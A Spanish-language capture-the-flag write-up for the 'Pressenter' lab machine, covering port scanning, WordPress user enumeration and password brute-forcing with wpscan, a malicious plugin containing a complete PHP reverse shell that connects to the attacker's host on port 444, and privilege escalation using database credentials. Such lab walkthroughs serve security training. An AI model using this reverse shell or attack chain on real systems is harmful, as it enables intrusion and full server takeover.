> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pressenter-write-up.md).

# Pressenter write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/ogmIj0MaaUj3NCD3CfD5" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos en la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/YzJ3wwRU0P03nyf2EPsl" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="/files/xOEPtrnzcuvsJksPNgv9" alt=""><figcaption></figcaption></figure>

Aparentemente, no hay nada interesante. Sin embargo, al inspeccionar el código fuente, encontramos lo siguiente:

<figure><img src="/files/OQ1sKvl8TgIN6uydReY6" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe una página llamada `pressenter.hl`, pero para esta funcione correctamente, primero debemos editar el archivo `/etc/hosts` para configurar la resolución local del nombre de dominio.

<figure><img src="/files/9E15FR2bDcMUT66V6UBz" alt=""><figcaption></figcaption></figure>

Una vez editado el archivo introducimos `pressenter.hl` en el navegador y vemos lo siguiente:

<figure><img src="/files/5BKAir7hiUfNggiPHYRC" alt=""><figcaption></figcaption></figure>

Vemos que parece que se está usando WordPress, así que ponemos la dirección `http://pressenter.hl/wp-admin` para comprobarlo.

<figure><img src="/files/C5rEaGrZmApnMHqhIgKn" alt=""><figcaption></figcaption></figure>

Observamos que parece estar en uso WordPress., así que vamos a usar **wpscan** para listar los usuarios existentes con el siguiente comando:

```bash
wpscan --url http://pressenter.hl/ --enumerate u
```

<figure><img src="/files/Ldrx3P4Lh3uroZ5NEQTJ" alt=""><figcaption></figcaption></figure>

Y nos indica que existe el usuario `pressi` y `hacker`, así que ahora vamos a hacer un ataque de fuerza bruta a los dos usuarios con el siguiente comando:

```bash
wpscan --url http://pressenter.hl/ --usernames "pressi,hacker" --passwords ../rockyou.txt
```

<figure><img src="/files/DIQIWPJ3eDu3AkdQtmHV" alt=""><figcaption></figcaption></figure>

El resultado indica que la contraseña del usuario `pressi` es `dumbass`. Iniciamos sesión con esas credenciales.

<figure><img src="/files/SKzuxl9SKCeJIrZmzKLi" alt=""><figcaption></figcaption></figure>

Una vez dentro vamos a crear un plugin malicioso con el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Ahora comprimimos el archivo en formato ZIP con el siguiente comando:

```bash
zip -r shell.zip shell.php 
```

Procedemos a instalarlo en WordPress accediendo a la sección de plugins y haciendo clic en `Añadir nuevo plugin`. Después hacemos clic en `Subir plugin` y subimos el archivo `shell.zip` que hemos creado y hacemos clic en `Activar plugin`.

<figure><img src="/files/3uezr3k3SwvlBUWnSAtG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DIjRKSYmr1kjatyv5Lkm" alt=""><figcaption></figcaption></figure>

Una vez el plugin está activo solo tenemos que ponernos en escucha por el puerto 444 con **netcat** y introducimos la dirección `http://pressenter.hl/wp-content/plugins/shell/shell.php` en el navegador

<figure><img src="/files/8saQJOhJ8HoRpP0dEurE" alt=""><figcaption></figcaption></figure>

Y así ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, navegamos hasta el archivo de configuración ubicado en `/var/www/pressenter/wp-config.php`, donde encontramos la siguiente información:

<figure><img src="/files/dqdHagqQhYcMehMTVFF6" alt=""><figcaption></figcaption></figure>

Así que usamos esas credenciales para acceder a la base de datos con el siguiente comando:

```bash
mysql -u admin -p
```

<figure><img src="/files/DIDpplOz0p14UJSwFWTj" alt=""><figcaption></figcaption></figure>

Buscando nos encontramos con la tabla `wp_usernames` la cual está en la base de datos llamada `wordpress` y contiene la contraseña `kernellinuxhack`:

<figure><img src="/files/AFI11PBbmWcBMqTyG1FB" alt=""><figcaption></figcaption></figure>

Así iniciamos sesión como el usuario root esa contraseña y vemos que funciona correctamente.

<figure><img src="/files/iraMR3jJvvyHxaYSKYeY" alt=""><figcaption></figcaption></figure>
